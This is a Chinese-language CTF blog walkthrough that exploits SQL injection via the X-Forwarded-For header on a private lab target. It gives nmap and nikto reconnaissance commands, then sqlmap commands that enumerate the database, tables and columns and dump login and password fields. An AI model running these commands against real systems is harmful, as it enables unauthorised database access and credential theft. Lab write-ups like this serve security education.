CTF-sql注入(X-Forwarded-For)【简单易懂】

前言

作者简介：不知名白帽，网络安全学习者。

博客主页：https://blog.csdn.net/m0_63127854?type=blog

CTF-专栏：https://blog.csdn.net/m0_63127854/category_11835386.html

网络安全交流社区：https://bbs.csdn.net/forums/angluoanquan

目录

环境配置

信息探测

AWVS漏洞扫描

漏洞利用

扫描数据库

扫描表名

扫描字段值

扫描用户名和密码

---

环境配置

kali 192.168.20.128

靶机 192.168.20.132

链接：https://pan.baidu.com/s/1vUYqkBnWkrfXvdC99nOsSQ 
提取码：4p7w 

信息探测

nmap -sV ip

nmap -A -v ip

 nikto -host http://ip 探测敏感信息

AWVS漏洞扫描

链接：https://pan.baidu.com/s/1o_2nXdQOuDFE8jI1uQdPiw 
提取码：jsdx 

漏洞利用

扫描数据库

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" --dbs --batch

扫描表名

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch

扫描字段值

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch

扫描用户名和密码

sqlmap -u "http://192.168.20.132" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C 'login,password' --dump --batch